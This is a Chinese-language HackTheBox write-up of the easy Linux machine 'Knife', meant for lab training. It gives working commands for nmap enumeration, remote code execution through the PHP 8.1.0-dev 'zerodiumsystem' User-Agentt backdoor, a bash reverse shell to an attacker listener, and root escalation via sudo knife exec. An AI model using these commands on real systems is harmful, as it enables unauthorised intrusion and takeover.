> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/knife-hackthebox-writeup.md). # Knife HackTheBox 复盘 Knife HackTheBox 简单 Linux 机器复盘，涵盖 PHP 8.1.0-dev - 'User-Agent' 远程代码执行（RCE）、滥用 Sudoers 权限（Knife 二进制文件）（提权），并包含实用的枚举 {% embed url="" %} {% hint style="warning" %} 技能： * PHP 8.1.0-dev - 通过 'User-Agent' 实现远程代码执行（RCE） * 滥用 Sudoers 权限（Knife 二进制文件）（权限提升） {% endhint %} ## 侦察 **工作区设置：** 通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

**VPN 连接检查** 检查 VPN 连接，以确保与目标机器的稳定通信。

**使用 Nmap 发现开放端口：** 枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件： ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.10.242 -oG allPorts ```

**使用 extractPorts 分析开放端口：** 使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

**使用 Nmap 进行端口版本扫描：** 使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中： ```bash nmap -sCV 10.10.10.242 -oN targeted ```

### 端口 80 - HTTP

使用 **WhatWeb** 通过该工具，我们识别出一个存在漏洞的 PHP 版本： ```bash whatweb http://10.10.10.242 # 结果：PHP 8.1.0-dev ```

## **利用 - 通过 `User-Agent`** 发现了与该版本 PHP User-Agent 相关的一个漏洞。 {% embed url="" %} 一个漏洞存在于 `User-Agent` 允许远程代码执行。 1. **简单命令执行**/ 发送一个带有修改后的 `User-Agent`: ```bash curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('id');" ``` 结果：用户组 `james` 出现在响应中。

2. **已获得反向 Shell**/ 在你的机器上配置监听器： ```bash nc -nvlp 443 ``` 然后发送命令以执行反向 shell： ```bash curl -s -X GET http://10.10.10.242 -H "User-Agentt: zerodiumsystem('bash -c /"bash -i >& /dev/tcp/10.10.14.26/443 0>&1/"');" ```

3. **更好的 shell 体验**/ 使终端更具交互性： ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### User.txt 标志

## 权限提升 **Sudo 权限分析** 通过运行 `sudo -l`，我们观察到该用户可以运行 `knife` 二进制文件以 root 身份运行：

GTFOBins 上将此二进制文件标记为可用于权限提升。 {% embed url="" %}

**利用** 使用上述命令获取 root shell。 ```bash sudo /usr/bin/knife exec -E 'exec "/bin/sh"' ```

### root.txt 标志 :)

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